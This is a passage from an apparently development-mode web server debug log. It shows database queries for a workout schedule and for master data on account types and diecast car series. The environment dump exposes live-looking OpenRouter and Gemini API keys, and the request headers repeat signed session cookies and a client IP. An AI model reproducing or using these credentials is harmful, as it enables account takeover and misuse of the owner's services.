    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T12:36:24.696Z server-connect:router Serving serverConnect /api/health/get-schedule
2026-02-03T12:36:24.696Z server-connect:app Executing action step identify
2026-02-03T12:36:24.696Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:24.696Z server-connect:output identity: 1
2026-02-03T12:36:24.696Z server-connect:app Executing action step restrict
2026-02-03T12:36:24.696Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:24.697Z server-connect:output restrict: undefined
2026-02-03T12:36:24.697Z server-connect:app Executing action step select
2026-02-03T12:36:24.697Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2026-02-03T12:36:24.699Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2026-02-03T12:36:25.327Z server-connect:router Serving templateView /collections
2026-02-03T12:36:25.327Z server-connect:app Executing action step identify
2026-02-03T12:36:25.327Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:25.328Z server-connect:output identity: 1
2026-02-03T12:36:25.328Z server-connect:app Executing action step restrict
2026-02-03T12:36:25.328Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:36:25.328Z server-connect:output restrict: undefined
2026-02-03T12:36:25.328Z server-connect:router Render template masters/collections
2026-02-03T12:36:25.328Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T12:36:25.677Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-03T12:36:25.678Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:36:25.678Z server-connect:app Executing action step identify
2026-02-03T12:36:25.678Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:25.678Z server-connect:output identity: 1
2026-02-03T12:36:25.678Z server-connect:app Executing action step restrict
2026-02-03T12:36:25.678Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:25.679Z server-connect:app Executing action step identify
2026-02-03T12:36:25.679Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:25.679Z server-connect:output identity: 1
2026-02-03T12:36:25.679Z server-connect:app Executing action step restrict
2026-02-03T12:36:25.679Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:25.679Z server-connect:output restrict: undefined
2026-02-03T12:36:25.679Z server-connect:app Executing action step select
2026-02-03T12:36:25.679Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-03T12:36:25.680Z server-connect:output restrict: undefined
2026-02-03T12:36:25.680Z server-connect:app Executing action step paged
2026-02-03T12:36:25.680Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:36:25.681Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-03T12:36:25.682Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:36:40.416Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:36:40.417Z server-connect:app Executing action step identify
2026-02-03T12:36:40.418Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:40.418Z server-connect:output identity: 1
2026-02-03T12:36:40.418Z server-connect:app Executing action step restrict
2026-02-03T12:36:40.418Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:40.418Z server-connect:output restrict: undefined
2026-02-03T12:36:40.418Z server-connect:app Executing action step paged
2026-02-03T12:36:40.418Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:36:40.420Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 54,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:37:01.963Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T12:37:01.972Z server-connect:app Executing action step identify
2026-02-03T12:37:01.973Z server-connect:app options: { provider: 'security' }
2026-02-03T12:37:01.973Z server-connect:output identity: 1
2026-02-03T12:37:01.973Z server-connect:app Executing action step restrict
2026-02-03T12:37:01.973Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:37:01.974Z server-connect:output restrict: undefined
2026-02-03T12:37:01.982Z server-connect:app Executing action step condition
2026-02-03T12:37:01.982Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T12:37:01.982Z server-connect:app Executing action step insert
2026-02-03T12:37:01.982Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T12:37:02.003Z server-connect:output insert: { affected: 1, identity: 176 }
2026-02-03T12:37:02.003Z server-connect:output condition: undefined
2026-02-03T12:37:02.216Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:37:02.216Z server-connect:app Executing action step identify
2026-02-03T12:37:02.216Z server-connect:app options: { provider: 'security' }
2026-02-03T12:37:02.216Z server-connect:output identity: 1
2026-02-03T12:37:02.216Z server-connect:app Executing action step restrict
2026-02-03T12:37:02.216Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:37:02.217Z server-connect:output restrict: undefined
2026-02-03T12:37:02.217Z server-connect:app Executing action step paged
2026-02-03T12:37:02.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:37:02.218Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 55,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:37:07.235Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:37:07.236Z server-connect:app Executing action step identify
2026-02-03T12:37:07.236Z server-connect:app options: { provider: 'security' }
2026-02-03T12:37:07.236Z server-connect:output identity: 1
2026-02-03T12:37:07.236Z server-connect:app Executing action step restrict
2026-02-03T12:37:07.236Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:37:07.237Z server-connect:output restrict: undefined
2026-02-03T12:37:07.237Z server-connect:app Executing action step paged
2026-02-03T12:37:07.237Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:37:07.239Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Silver Series',
      id: 176,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:37:14.119Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T12:37:14.120Z server-connect:app Executing action step identify
2026-02-03T12:37:14.120Z server-connect:app options: { provider: 'security' }
2026-02-03T12:37:14.120Z server-connect:output identity: 1
2026-02-03T12:37:14.120Z server-connect:app Executing action step restrict
2026-02-03T12:37:14.120Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:37:14.121Z server-connect:output restrict: undefined
2026-02-03T12:37:14.121Z server-connect:app Executing action step condition
2026-02-03T12:37:14.121Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T12:37:14.121Z server-connect:app Executing action step update
2026-02-03T12:37:14.121Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'collections',
    wheres: { condition: 'AND', rules: [Array] },
    returning: 'id',
    query: 'update `collections` set `collectiontype_id` = ?, `name` = ? where `id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-03T12:37:14.122Z server-connect:output update: { affected: 1 }
2026-02-03T12:37:14.122Z server-connect:output condition: undefined
2026-02-03T12:37:14.332Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:37:14.333Z server-connect:app Executing action step identify
2026-02-03T12:37:14.333Z server-connect:app options: { provider: 'security' }
2026-02-03T12:37:14.333Z server-connect:output identity: 1
2026-02-03T12:37:14.333Z server-connect:app Executing action step restrict
2026-02-03T12:37:14.333Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:37:14.333Z server-connect:output restrict: undefined
2026-02-03T12:37:14.333Z server-connect:app Executing action step paged
2026-02-03T12:37:14.333Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:37:14.335Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'HW Silver Series',
      id: 176,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:37:20.780Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:37:20.780Z server-connect:app Executing action step identify
2026-02-03T12:37:20.780Z server-connect:app options: { provider: 'security' }
2026-02-03T12:37:20.780Z server-connect:output identity: 1
2026-02-03T12:37:20.780Z server-connect:app Executing action step restrict
2026-02-03T12:37:20.781Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:37:20.781Z server-connect:output restrict: undefined
2026-02-03T12:37:20.781Z server-connect:app Executing action step paged
2026-02-03T12:37:20.781Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:37:20.783Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 55,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
